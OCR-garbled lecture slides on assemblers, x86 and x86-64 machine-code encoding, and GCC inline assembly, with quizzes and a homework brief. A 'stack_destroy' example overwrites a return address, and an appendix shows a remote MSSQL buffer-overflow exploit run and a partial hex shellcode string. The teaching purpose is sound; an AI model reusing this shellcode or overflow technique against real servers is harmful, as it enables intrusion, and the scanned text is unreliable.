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Objectives

Understand the role of assembler
Find out the structure of assembler

Perceive how a HW designer makes a spec. and how a SW
designer makes a program based on the spec.

Know how to use assembly in a high-level language (inline
assembly)

Refer to Chapter 3 in the CSAPP and Intel SW Developer
Manual :

D 3.7 Procedures

I Access




Role of Assembler

s Assembler
v Translate assembly language into machine language

2 choum: | e S
B049483e8: =3 ret -
0804838 <=f£f3>:
B0483=9: Lt push Febo
E0483=a: g9 e5 IO FTeso, Sebo
B0483=c: 83 sec 0B =ul Z0xS, Teso
80483f: =7 04 24 0& 85 04 08 mowl S0OXxB804B506, (Tesp)
gp4a483f6: eg TS Te T ££ call BO0482Ff0 <puts@plt>
80483Ffk: e =8 E£f £f ££ call 80483c8 «=f2>
2048400 : o7 04 249 10 85 04 08 mowr L S0xE804E8510, (Te=pD)
8048407 : el =4 Te £Ff £ call BO482F0 <puctsEpltc>
804840 c: fati= ] leawe
80494840d: =3 ret
|ceoasqce <maEh>: \ / \
E0484318: £ push Febo
04843190 89 2o TR Tesop, Sebo
E04841: 51 push Tecx ]
BDa831 = : 83 ec D4 =ub Z0xE, Te=sp
8048431 F: eEB &5 B E£F E£E call 804839 <f3> |
0434843249 : 83 4 D4 add Z0mE, Te=sp
E048427: £Sg jala)al Tecx
BDa83228 : Sd j el Tebo
BE048420: B8d &1 f£c lea —0xq [(Tecx) , Te=sp
80494842 c: \\‘c3 l// \\jet 4//
OB048430 < Iibc csu Find>: !
0484230 : = puash Tebo
B048431 = 89 25 TROwr FTesop, Sebo
8048433 : s5d jala) s Zebp -
8048439 : =3 retT |
8048435 : gd T4 2& 00 lez Ox0(FTesi,Fei=z, 1) FTesi =
i E048439: 8d bc 27 00 00 00 00 iea Ox0 (Tedi, Teiz, 1), Tedi |
N

ol

i80,0—-1 5%

% Understanding a binary is indispensable for detecting virus, plagiarism and SW refactﬁrini

I -

3 =



Functionalities of Assembler: 32-bit CPU (1/5)

s Machine Code Group | Lock and 1'epecln prefixe:
_ Group 2 Segment override prefixe, Branch hints
|A-32 machine code format

Group 3 Operand-size overnide prefix

............................................................................. G[Dllp 4 Address-size overnide PlEﬂI
"E’ré]ﬂ‘l;ég“ Opcode | ModR/M T SB Displacement | Immediate
bebe Llalonioh b T — e
prgf&e:ugf opcr:d;Jr a rﬁqwred) ric?uwred dIsp(r::ment dn;;r;eofme *  The scole field F:FIEC]I-]&S the scale factor. :
1 byte each of 1,2 ord 1,2,0r4
(gt / \ Eigs ormone. bytes f one i * The index field specifies the register number of the index register. |
T ................ *  The base field specifies the register number of the base register :
o Dggjgde Qi i | e wBaSE ....................................................................................
. : : Mod R/M or 1/B register
Figure 2-4: Intet4 and |A-32 Architectures Instruction Format 00 I mem. [re—
_{ffom Inte| Manual, Volume 2) 01 | mem.+dis(8) 000 | EAX [EAX]
R L |10 | mem.+dis(32)]| 1 | ECX [Egi]
% The mad field combines with the r/m field to form 32 possible values: eight registers and d1freg. ]| 00 EDX [ ]
- 24 addressing modes ] Scale ot | EBX [E,E :{]1
Sah a 00 | *1 100 ESP ['_‘;["] ~
% The reglopeode field specifies either a register number or three more bits of opeode infor- 01| *2 i1 | EBP disp32:
- mation. The purpose of the regopcods field is specified in the primary opeode. 10 | *4 1m0 | ES1  [ESI]
, o s | 11 | *8 111 | EDI [EDI]
. * The p/in field can specify a register as an operand o can be combined with the mod field to |
o edemadiesignoe . =

yak



Functionalities of Assembler: 32-bit CPU (2/5)

s Opcode

v Machine format example of MOV opcode

Opcode
2afr
29 fr
29 fr
aAa ir
28 ir
ap ir
ac ir
8E ir
Al

Al

A

A2

Al

Al
B0+ b
BE+ mv
Ba+ ndf
CG /0
Cria
Cria

Instruction

MOV 8. r8

MOV mi1grie
MOV rm32r32
MON r8 rm8

MOV rig.rrmie
MO r32 rma32
MOV rfmi&6Smeg*
MON Sreg, rmie™™
MOV AL, moffsg8*
PON A0 moffs1e™
MO EAX moffs3="
MOY morfs8* AL
MO morffs16% AX
MOY morffs32" EAX
MO r8 imm8
MOV rf8.immie
PMON F32 imm32
MOV rm8.imma
MOV i Bimmie
MOY rm3Zimma2

Description

Move r8 to rimg

Move ri&to rimie

Move r22 1o rim32

Move rim8 to r8

Move rmi&to rig

Move rm32 to r32

Move segment register to Fmi1e
Move rimi & to segment register
Move bhyie at {seg-offsef) to AL
Move word at (sagoffsef) to AX
Move doubleword at (seg:offsel) to EAX
Move AL to (seg:offsel)

Move AX to (seg:offsef)

Move EAX to (seg:offser)

Mowve immé#& to r8

Move imm1& to &

Move imma3Z2 to 32

Move immé& to rima

Move imm1& to Fmie

Move imm32 to Fm32

MOV—Move

(from Intel Manual, Volume 2, 4.3 Instructions: move)
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Functionalities of Assembler: 32-bit CPU (3/5)

s [ranslation example

[= choijm's ¥ desktop (embedded. wowdns.com:2)

1.5k m' ng

8048214 :
BO48215:
A0482fa:
B0482ff:
8048304 :
B048309:
B04830e:

Mod

00
01
10
11

mem.

mem.+dis(8)
mem.+dis(32)
reg.

auUt0Oas0,

a04832f:
BO048332:
B048336:
BO48338:
BO48333:
B04833a:
804833b:

0804824 <mainy:

/M

opcode mem. operand:
Little Endian

—— \

Immediate (1B vs 4B: see

55 i
4T 20 949 08 Moy 0xB043 ——J— below
a3 24 54 04 08 = L JHB0494 24
b T 00 || mov 033, keay .
ho—G4-BA—H—88 A0 opcode + register
[N o P e \
kf 05 00 00 00 mov  §0x3,%ed]
89 rg oY Yory Fordw
Shei Ry Opcode Instruction Description
_R/MorI/Bpumber 0 |2 e o il
| a9 dr MOV miEr 16 Move ri&to Mmié
a9/ MOV rim32,r32 M 32 to Hm32
000 | EAX [EAX] | |2 v s g
oo1 ECX [ECX] 2B Ir MOV r16,1/m16 Move rm16 to rig
aB fr MOV r32.r/m32 Move Fm32 to r32
I:' 1 ':I EE':H: [ E D-:.::-] acC ir MOV rmi 8 .S reg*™ Move segment register to rimi6&
|:|1 1 EE;{ [ E E x] BE fr MOV Sreg, rimi &> Move rm16& to segment register
1 '| Al MOV AL, morfss™ Move byte at (seg:offsef) to AL
1 [I:I EE P [“E[“] Al MOV AX moffsie™ Move word at (segroffsefl) to AX
H = Al MON EAX moffs32* Move doubleword at (segioffsef) to EAX
1 E” EE!' FI d IED 32 AZ MOV mofis8* AL Move AL to (seg.offsef)
110 E=| [ESI] A3 MOV meffs 16 AX Move AX to (seg:offset)
Al MOV moffs32% EAX Move EAX to (seg:offsel)
111 EE:I-I [EDI] e BO+ b MON r8, imme Move imm8& to r8
B3+ nw MON r18.imm186 Mawve imm16 to &
ot ret Ba+ MOV ra2,immaz Move imma2 to 132
E||:| f I:I[J CE /o MOV rim8, imms Move immé& to rma&
Loy ) MOV mi8immie Move imm 168 to Fmi1&
EH:I f Dp Le=riy () MOV m32Imm32 Mawve imm32 to Fm32




Functionalities of Assembler: 32-bit CPU (4/5)

s [ranslation example

[= choijm's ¥ desktop (embedded. wowdns.com:2)

nush

%ehp

B04830e:
B048310:
BO48312:
BO048314:
g048317:
804831h:
B048322:

Mod

00
01
10
11

mem.
mem.+dis(8)
mem.+dis(32)

reg.
FIEEEEER

804833b:

20 34 04 08
24 94 04 08
03 00 00 oo
04 00 00 00

05 00 00 7
iC

da

oYy 0x8043420,%eax% |
oy Seaw, 04804942 |
oy 30

mo

mo

wd , HRCH
$0%5, %edi
%e

| Y

==Amé#====f%Eﬁé%gﬁﬂﬁi::::::::::::::ﬂ‘ :
Bax) MRy

sh 4T T— |

gh 4e-aa-a8

ModR/M:|11001010

ModR/M:[01001000 |

A displacement

—;( The [=]-| nomendlature means a SIB folows the ModR/M byte.

oYy Ox
e Moy 08 (%eax, %eby, 40 ,%0cy
oy OxoR7E Feax  REDH &, BECH

th &c 98 78 56 00 01

= st1do11po0]

- - Ofm i MamA T AT
__R/MorI/Bnumher™", [opeode insruciion
i | san MOV 1me.r8
80 ir MOV pmi8r18
cod EAX [ E"I:"‘K] ag ir MOV rim32.r3e
E'[H EGH [EE}::.] BA fr MOV r8, rim8
2B Ir MOV r16,1/m 18
010 EDX [EDX] 2B Ir MOV r32.mas
011 EExX [EBX] B | acr MOV m16.Smg™
1 3E fr MOV Srag,rmier
100 EsP [--1[--] A0 MOV AL, moffsa
101 EEPFP disp32= A MOV AX,moffsT e
A1 MOV EAX moffs32*
110 ESI [ 5 !] A2 MOV moffsg* AL
[ a3 MOV moffs 187, AX
111 EDI [EDI] A3 MOV moffs32° EAX
B0+ b MOV 8 imme
B8+ nw MOV ri& immi1e
Bo+ MOV 132, imma2
CB 10 MOV #im8 imm8.

Description

Move ré to r-ma

Move rii& to rimiéE

Mowve r32 to rm32

Move #m#8 to r8

Move rmigto rig

Move mim32 to r32

Move segment register to rimi1&
Move rim 16 to segment regisier
Move byte at (seg-offsef) to AL
Move word at (seg-offsef) to AX

Move doubleword at (seg:offsel) to EAX

Move AL o (seg.offser)
Move AX to (seg:offset)
Move EAX to (segioffsel)
Move imm8 to ré

Move imm1& to 1 &
Move imma2 to r32
Move fmm& to me




Functionalities of Assembler: 32-bit CPU (5/5)

= [ranslation example (cont’)

[= choijm’s ¥ desktop (embedded. wowdns.com:2

Mod

00
01
10
11

mem.

mem.+dis(8)
mem.+dis(32

re

Bl c0482tt:

Scale *

00
01
10
11

*1
%2
*4
*8

[T )

804831h:
a048322:
a048328:
a04832f:
2048332:
a048336:
BO48338:
B048333:
H04833a:
804833b:

Instruction
MOV rim8,r8

Opcode
88 ir

Description

Mowve r8 to rima

Move rigto rmi1é&

Mowve r32 to #m32

Move rim8 to r8

Move rmi1&1to rié

Move rm32 to r32

Move segment register to rim7&
Move rm & to segment register
Move byte at {seg.offsef) to AL
Move word at (seg:offsef) to AX
Move doubleword at (segroffsef) to EAX
Mowve AL to (seg-offsef)

Move AX to (seg:oiffset)

Move EAX o (seg:offsef)

Mowve immé& to ré

Mowve immi18 to &

Move imm32 to r32

Move immé& to méa

Move immi18 to rm18

Mowve imm32 to ¥ma3z2

B89 fr MOY rimi6,ris
BO fr MOV m32.r32
BA Ir MOV r8, rimé
8B ir MOV r16,rrmi16
8B fr MOV r32,F/m3z2
BC Ir MOV rimi6,8reg*
aE ir MOV Sreg, r’mi&**
Al MOV AL moffsg*
Al MOW AX, moffs16™
A1 MOV EAX, moffs32"
A2 MOY moffsg* AL
A3 MOW moffs 16" AKX
A3 MOW moffs32* EAX
Bl+ b MOV r8 imm&
B8+ nw MOV 16, imm18
Ba+ rd MOV r32,imm32
Ca /g MOV m&.dmmé
CT7 /0 MOV rimi 6 immi18
CTIi0 MOV im32imm32
Usdb o LREas Ae0x 4 ) JBECH
Hecy,0x8043420
$0x1234, 028049420
Ebo,
$0%7 %2

~

0i0 | EAX [EAX]
01 | ECX [ECX]
010 | EDX [EDX]
011 | EBX [EBX]
00 | ESP [
i01 | EBP disp32®
10 | ESI [ESI]
111 | EDI [ED]
) ol L = Y S )
89 0534 04 08 oy
c7 ggm_ oy
12 00 00 N

B B8 1e Moy
EEN oy
79 [eave
ot
30 nap
30 nap

[ The disp32 nomenclature denotes a 3¢-bit displacement that follows the ModR/M byte]

Prefix: 0x66->op!




Structure of Assembler (1/2)

s 4 Main Components

(Text file J - [movi| 0x4{%eax), soecx | |

-

SCcanner - .
H"\ opcode: 8b
{Token Stream . mod R/M : 01 001 000
: disp.: Ox4
Parsing -
N -
8b 48 04

{:Eynta:{ Tree :| NSO SO

Samantic Ana.

N,

(valid syntax tree )

Code generation

My

( object code )




Structure of Assembler (2/2)

m 2 pass assembler

MOV AL, [X+2]

DB 57,3 |

I S5Bq JOjquuassy
7 SSBd IquIsssy

Symbol Table

X | 3F3A

% To sum up, designing an assembler consists of 1) making parser, 2) manipulating
DB, 3) managing symbol table, 4) code generating, 5) error handing, 6) optimization

and so on. _
| -
10 .



Quiz for 14th-Week 2M9-Lesson

s Quiz
v 1. Explain the 6 elements in IA machine code format

v 2. The below figure is the language hierarchy that we have seen in
the LN 1. Now, explain the differences among “C = A + B”, “movl
0x80493bb, %eax” and “a1 8893 0408".

v Bonus) Discuss the little endian using the below figure.
v Due: until 6 PM Friday of this week (4", December)

Compilation System (1/5) Course Content

= Concept: Language Hierarchy = Textbook 1: CSAPP

- Computer Systems: A Programmer's Perspective, by R. Bryant and
i D. O'Hallaron
High-level Language -

1. A Tour of Compuler Systems
| 2. Representing and Manipulating Information

3. Machine-level Representation of Programs
4. Processor Architecture

5. Oplimizing Program Performance

6. The Memory Hierarchy

;'-r;ovl 0x8049388, Yoeax

addl Ox8049384, %eax
Assembly Language s ok o

3 ) 7. Linking
5 &. Exceptional Confrol Flow I
Machine Language 00al BB93 0408 9. Virtual Memory
(Binary code) 0305 8493 0408 10. System-Level /O
SRR R R S L 11. Network Programming
i 12. Concurrent Programming
- [ sy = R——
(Source: LN 1 What is System programming?) (Source: LN O Lecture Introd_

11



Functionalities of Assembler: 64-bit CPU (1/4)

s Machine Code with 64-bit extension
v Need to encode new registers (GPRs) and 64-bit addressing
v Need to maintain backward compatibility

General-Purpose
Registers (GPRs)

RAX
REX
RCX
RIDX
REP
RS
RIDI
R5P
14
k9
R10
R11
R1Z
R13
R14
1%

-

63

Multimedia Extension and
Floating-Point Registers
MMOSTO
MM1/ST
MM2/ST2
MM3/5T3
MM4/ST4
MMS/ETS
MM&/STE
MM7/STT

B3

Flags
Register

[ eracs

1) {]
Instruction Pointer
| | | Rip

ES L

|:I Lesgacy xBE Regriers, Suppored o 28 medes
I: Reprae ExSerrtaom, supporied m 484 Mode

12

Streamang SIMD
Extemsion (55E) Registers

XMMO
XXMM
XMMZ
XMIM3
XM
KMIMS
XMMB
HKnmT
XMmMe
MM
MMM
XMmMnN
XMMOZ
XMMIT3
KNS

XMMIS



Functionalities of Assembler: 64-bit CPU (2/4)

s Machine Code with 64-bit extension
v Code format

Legacy REX : .
Profies Profix Opcode ModR/M SIB Displacement Immediate
Grp 1.Grp  (optional) 1-.2-.0r 1 byte 1 byte Address Immediate data

2.Grp 3. 3-byte (if required)  (if required)  displacementof of 1,2,0r4
Grp 4 opcode 1,2,or4bytes  bytes or none
(optional)
Figure 2-3. Prefix Ordering in 64-bit Mode
» REX prefix

Specify GPRs (rax, rbx, ..., rdi, r8, r9, ... r15) and SSE registers

Specify 64-bit operand size

Table 2-4. REX Prefix Fields [BITS: 0100WRXB]

Field Name Bit Position Definition
- 74 0100
W 3 (= Operand size determined by (5.0
1= 64 Bit Operand Size
R 2 Extension of the ModR/M req field
X 1 Extension of the SIB index fiekd
B 0 Extension of the ModR/M r/m field, SIB base field, or Opcode req field

(from Intel Manual, Volume 2, 2.2 |A-32e Mode)

ModRM Eyte S1B Byte
REX PREFIX Opcode mod req rim scals index base
D1MIWRXE =1 T 100 ES i bbb
1y (|
i J \ {
[
I i
Rurr Moo Bbbb

13

Figure 2-6. Memory Addressing With a SIB Byte




Functionalities of Assembler: 64-bit CPU (3/4

s Machine Code including 64-bit extension

v Machine format example of MOV opcode
» 64bit addressing = REX prefix

MOV —Move

Opcode Instruction Ops | 64-Bit Compats Description
En Mode Leg Mode

88 fr MOV rfimE.rs MR Walid Walid Mowe 8 to rAme.

REX + 88 /r MOV mE8 rd MR Walkid N_E. Mowe riF to rdma.

B9 fr MOV rimTerTe MR Walid Walid Mowe r16 o TG,

89 fr MOV m3I=E r32 MR Walid Walkid Mowve r32 to m3s.

REX. W + 89 /r POV rfimEd rG MR Walid N_E. Mowe risd to .

8A fr MOV r8rims 3 o} Walkid Walid Mowe 8 o rgl

REX +~ BA fr MOV r8* i maT M Walid N._E. Mowe A& 1o rg.

88 r/r MOV rT e m T E (34 ] Walia Walkid Mowve mTE o r1E.

88 /fr MOV rF2ram3s M Walid Walid Mowe Am3E to r32

REX. W + 88 /r MOV G s 34 oy} Walid MN_E. Mowe fmEd to rge

8 fr MOV rfm T 6. Sreg™™ MR Walid Walid Mowe segment register to mTE.

ac fr MOV r T &3 2m T 6, Sregt™ MR W alid Walid Mowve rero extended 16-bit segment register
to r1&AI2mT B

REX W + BC /r MOV ri&dm 16, Sreg™™ MR Walid Walid Mowe zrero extended 16-bit segment register
o rS<fAm TE.

BE fr MOV Sreg.riam e RM Walid Walid Mowe rm 16 1o segment register.

REX \w' + BE 41 MOV Sreo.rdimEg= RM Walkid Walid Maowve lower 16 bits of r/m&<d 1o segmeant
register.

A MOW AL mofifss™ FD Walid Mowe byte at (segofifser) to AL.

REX . \w' + A0 MOV AL moffsa™ FD MN.E Mowe byte at (offset) 1o AL,

Al MOW A moffs T6* FD Walid WValid Mowe waord at (segroffset) to AX.

A MO EAX, mofifs 32 FD Walid Walkid Mowe doubleword at (segooffset) to EAXL

REX \w + A1 MO RAX, moffsGa FD Walid M.E. Mowe quadwsond at (offfset) to RAX.

Fbed MOV moffs8aL TD Walid Walid Mowve AL 1o (segioffser).

REM\W + A2 MOW moffss AL TD WValid MN.E. Mowe AL to (affser).

Fat= MO o s TE™, A0 TD Walid Walid Mowe AX o (segrofifser).

AT MOV moffs32".EAX TD Walid Walid Mowe EAX to (seg.offseth

REX W + A3 MO rmoffsGa* RAo TD Walid MNE Mowe RAX 1o (offser).

BO~+ rb ib MOV r8. e on Walid Walid Mowe e o rE.

REX + BO+ rb iy MOV r8 |, 8 ol Walkid N_E. Mowe fmumd to ra.

BB+ ri e MOV rT 6. i 16 (o]} Walid Walid Mowe dmmTE to rTG.

BB+ ro id MOV 32 immnm3E (&1} Walid Walkid Mowe imm3s to r32,

REX . \W + B8+ rd io MOV r&<d, mmE-a (&) Walid MN.E. Mowe TumGSd to NS

Ce /O ik MOV rmE, & L1} Walid Walkid Mowe hmm8 to rdms.

REX + C5 /O il MOV cAmE ™=, imma ™Ml Walid N._E. Mowe fmm& 1o rAna.

CTF 70 fvw MOV W mTE, mm 16 [l Walid Walkid Mowe mm T E to el

CF 5o o MOV 32, mm3E ™~ Walid Walid Mowve imm3= 1o AimIE

REX W + CF SO id MOV rAmiEd, i3 L1} Walid MN_E. Mowe mm3s sign extended to S54-bits to

(from-Intel Manual

Nnlimae 2 4 B TnetruafiBifie: movue) —_
i JTTT ATTOU T T TUTTA i V UTUATTING L, T/ AT ITICT UGS CTVUT TV, |||Vv\4l



Functionalities of Assembler: 64-bit CPU (4/4)

s [ranslation example

DED482f4 {ain
| B0482f4:
B48275:
Bl4a2fa;
B4B2ff:
B048304:
B048309;
B04830g;
B048310:
048312
B048314:
B048317:
B04831b:
B04R322:
B048328:
B4B32f
B048332:
B048336:
B048338;
B048339;
B04833a;
B04833h:

| sk1hp1ng

REX Prefix: 0100 1000

L= choijm's X desktop (Emhedded wowdns.com:2) \TH?.M
i . 1
5“ nuch—%abn
al 20 34 04 08 moy  0x8043420,%eak
83 24 54 04 08 moy  eax,0xB049424
b& 03 00 00 00 mav  §0%3,%aax
b9 04 00 00 00 mov  §0nd,%ecy
bf 05 00 00 00 mav  §0%5,%edi
89 ca moy  %ecy,%edy
89 Da mov  %eck, (%eds) L
gb 08 moy  (kean), Mecy
ah 48 04 mav w4 (hean),secy
Bh 4c 98 08 moy  0x8(%eax, keby,4),%ecy
Bh8c 387856 0000 mov  DxS67B(%eax,%ebd,4),%ecy
B9 0d 20 %4 04 08 moy  Fecy,0xB043420
P 052094 04 083  movl  $0%1234,048049420
12 00 00
BE be £2 1e moy  $0x1e68,%ax
b 07 moy  $0x7,%al
3 Teave
3 ref ///
30 nap
30 nop 3

cal ]q 400410 (pu’ra@p]f)

400536
40053b:
400542
400544:
40054b:
40054d:
400552:
400557
40055¢:
40055
400561 ;
400564 :
400567

400582:
400589:
40058d:
400591
400593:
301048 (a

40059a:

15

ef db fe ff ff

al 20 94 04 48 23 01
00 00

ad 24 94 04 48 23 01
00 00

b8 03 00 00 00

b9 04 00 00 00

hf 05 00 00 00

89 ca

67 89 0a

48 B9 0a

89 0a

00
89 0c 25 20 94 04 08
c/ 04 25 20 94 04 48
3412 00 00
66 b8 68 le
ho 07

/05 ab Oa 2000t

00 00 00

moy

mnoy

moy
moy
noy
noy
moy
noy
noy
moy
moy
moy
moy

0x12348049420, %eax // movabs
Yeax,0x12348049424 // movabs

$0x3, Yeax

$0x4, %ecx

$0x5, Zedi

hecx, tedx

fecx, (Redx)

#rex, (hrdx)

a9, (2r10)
(%eax) , decx
0x4(%eax) , becx
0x8(%eax, debx,4) , kecx
0x5678(%eax, %ebx,4) , %ecx

%ecx, 0x8049420
$0x1234,0x48049420




inline Assembly (1/6)

= Inline Assembly
v Assembly code embedded in a high level language like C

v structure

__asm__ (assembly statement : output : input : modified register)

Each parts are separated by :
output, input, modified register are optional

assembly statement: using “ ”, add a prefix % to each register
output: “=g”(variable name)
input: “g”(variable name)

modified register (clobber): notify to compiler which registers are
modified by inline assembly (to prevent the side effect of inline assembly)

Output and input are accessed using the notation of %0, %1, %2, ...
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inline Assembly (2/6)

= inline Assembly practice 1: add

M/SYSpro_examples/chapd - -

assembly statements

printf ["c = Td\n", c):

: input/output passing

: eax

ebx

ecx

edx

esi

edi

general register
memory
general register and:
memory ;
edx: eax (64 bits)
FP register
immediate

first parameter

I O—p wgo2oUWanoo



inline Assembly (3/6)

= inline Assembly practice 2: register input




inline Assembly (4/6)

= inline Assembly practice 3: clobber

£ choijm@localhost:~Apublic_html/svsprosexam_inline/3_clobber
F* inline assembly (4| %|: clobber =/ - |
F= 112 152 F| =5 *®f

#tinclude <stdio.h>

maing)
{
int a, b, c, d; . - .
:"= aﬂxuﬂﬂﬂgﬂﬂz; To notify that a register is used
b = &4: internally in inline assembly
B asm__ ¢
“mull LEebxtn"
“"moul Baead, won'
“"mouvl BEedx, Zwn"
- t—g" (c), “=g
- %)
):

printf{"a = %x, b = %d, c = %d, d

wd¥n"', a, b, c, d);

__asm__
diuvl EZebxin"
“"mouvl BaeaX, N
“moul Baedx, BI1Wn'
- t—g" (c), “=g" (d)
- mav (a), bt (a), tdv (8)

¥s
printf(a = %x, b = Bd, c = ¥x, d = %dWn"", a, b, c, d);
¥

mmss “'clobber1.c 28L, 5160 11.2-5 25 [




inline Assembly (5/6)

| }

= Inline Assembly practice 4: stack again

. B2 choijm@embedded: ~/syspro18/chap9 — [ X

> stack destroy.c: 2 ¢ 3T = &4 2, 119 259 , choijm@dku.edu */ ~
H#include <stdio.h>

|
woidd £19¢)

g A

| printE("In funcl\n™);
{1

wveld £20) |

7 ~
int 3, *pti;
prioef("E2 lecals \tip, \E3p\n"™, &j, &PEr):
prasptE("In fupe? \Ng™)

P

Pt = &7

*{phr+2) = £1;
\|*/ /
/] printt(P"In func2 An™)

~_asm___

"movl %50, 4(%%ebp)\n"

"'g" (fl)
N ¥
|}

void f£3() {
printE(YBafore inveke T20) o™ ;7
£2 () ;
printf ("After invoke f2 ()\n"):
}

:main() {
£3() =

"stack destroy inline.c"™ 35L, 499C 20 i -3l Top W™




inline Assembly (6/6)

= inline Assembly practice 5: define

choijm@choijm-VirtualBox: ~/2015_syspro/chap9/inline
Eincl ude <stdio.h>

#define rep_movsl(src. dest. numwords) \
asm __volatile__ ( \
"cld\n
"rep\n” \
"movsb"” \
N
"S" (src). "DV (dest)

(numwords) \

)
main() ) H
{ Prevent a compiler from
b [1= "hello" - moving these codes to other
AW O = BLi0 . place for the optimization =
char bL161 » purpose.
rep_movsl(a. b. (al)):
printf{(“"dest = Zs\n". b):
¥ i
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Summary

s Apprehend the role of assembler (“as” in Linux)
v Assembly language = Machine language

s Understand the structure of assembler

v Token analysis, Parsing, Syntax analysis, Semantic Analysis,
Symbol table, Code generation, Optimization

v 2 pass assembler
s Make a program with inline assembly

<= Homework 7: Make an assembler
v Requirements
- build an assembler that can translate assembly codes into the
IA machine codes shown in slides 6~7.

- manipulate DB and do error handling

- shows student’s ID and date (using whoami and date)

- Make a report that includes a snapshot and discussion.
1) Upload the report to the e-Campus (pdf format!!, 6pm. 18t" December)
2) Send the report and source code to TA (0| & &: wwbabaww@gmail.com)
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Quiz for 151"-Week 1st-Lesson

s Quiz
v 1. Explain how x86-64 maintain the backward compatibility.

v 2.In page 19, we make a program that can destroy stack using inline
assembly. Discuss the differences between this program and the
program we have learnt in LN 4.

v Due: until 6 PM Friday of this week (11t December)
Stack Details (6/6)

m Stack example 2 _ :
J/* stack_destroy.c: =€ P2 & =M 2, o 192! choijm@dku.edu =/
#Hinclude <stdio.h>=

woid F1() {

int i;

printf("in funcil\n™);
e

woid F2() {
int j, *ptr;
printf("f2 local: \t%p, \t%p\n", &j, Eptr);
printf("in func2 \n");

pir = &j;
*(ptr+2}) = f1;
S

woid f3() {
printf("Before invoke f2()\n");
f2();
printf{" After invoke f2{}\n"});
¥

main() §{

B2 6




Appendix: Exploit code (1/2)

s EXxploit code

v A code that attacks the vulnerabilities of program
= System down, obtain a shell with root privilege

MH COM3 = ! e =
. ! B M) [COM3 =]
AHIA(RY: |50L Server =l e (50T Semer =
MHI A M2 DEH).., J - Overflow Remote Exploditbrinkin®); = ==
hced Windows Shellcodel'drin'™); MHI= M DEHD J o ¥ g et | | |

ield, david@ngssoftuware .comtriin®™);

[ ;j? st 2 i W s = Al ZEH &)
I u ] A SAE) ke http://www.cnhonker.comttriintin®); = Ti(E |
' m | EAD) : !

Lt> <NCPort> <SOLSP> JWriin¥in®, argu[8]): ' Duerflow Remote [>’|J|||11"|HII“\‘|I | 3

7 25 HH AR AL MHIA TS AEHA) - it gy Coonpniont giesiundon 9
A — _lrin) ; = M A AI HHIS THS AIEHA) g bt
=22 5 - ) Brver

ety ; Em S OO = WSSOl Server 7 lr http .'.-f.»'utm:-:nnnnl-:m' ~cortriniin ) ;

C:Wprojectiteryl2? 2

C:WprojectitryZ>try2 127.8.8.1 embedded.dankook.ac.kr 1433 SF2
MSSQL SP 1 or 2. GetProcAddress BBx42aelBiC

Packet sent?

1f you don’'t have a shell it didn’t work.

C:Wprojectitryz>




Appendix: Exploit code (2/2)

s SQL Exploit code

v Copy a request into stack in a SQL internal function (vulnerable point)

v Make a larger request might destroy stack (buffer overflow)

v Modify the return address of stack so that it executes an exploit code

[ push %ebp ] [ mov %oesp, %oebp ] [ push immediate

)

cha

exploit

"X 5 517X 8 BWXECWXE8WX 181X 10WXAE x68Wx1C"

"leOWxAEWx42&xEBWxO3W 5BWXEBWx05WXxE8WxF8"
"WxFFWXFFWXFFWX X XFFWx F6"
"WxAEWXFEWXFFWXFFWx03WxDEWX90Wx90Wx90WWX
"Wx90Wx33WxCOWxB1Wx44WxB2Wx58Wx30Wx13Wx83"
"WXEBWxX01WXE2WxXxFOWx43Wx53Wx8BWx75WxFCWxFF"
"Wx16Wx50Wx33WxCOWxB0OWx0CWx03WxD8Wx53WxFF"
"Wx16Wx50Wx33WxCOWxB0OWx10Wx03WxD8Wx53"Wx8B"

"WxFFWxD0OWx90Wx2FWx2BWx6AWXx07Wx6BWx6AWX76"

"Wx3CWx34Wx34Wx58Wx58Wx33Wx3DWx2AWxXx36Wx3D"
"Wx34Wx6BWx6AWX76Wx3CWx34Wx34Wx58Wx58Wx58"

"Wx58Wx0F#x0BWx19Wx0BWx37Wx3BWx33Wx3DWx2C"
"Wx19Wx58Wx58Wx3BWx37Wx36Wx36Wx3DWx3BWx2C"
"Wx58Wx1BWx2AWXx3DWx39Wx2CWx3DWx08Wx2AWx37"
"Wx3BWx3DWx2BWx2BWx19%Wx58Wx58Wx3BWx35Wx3C"

"Wx58";

jmp O0x

03]

| pop Yo€ax)5 ]




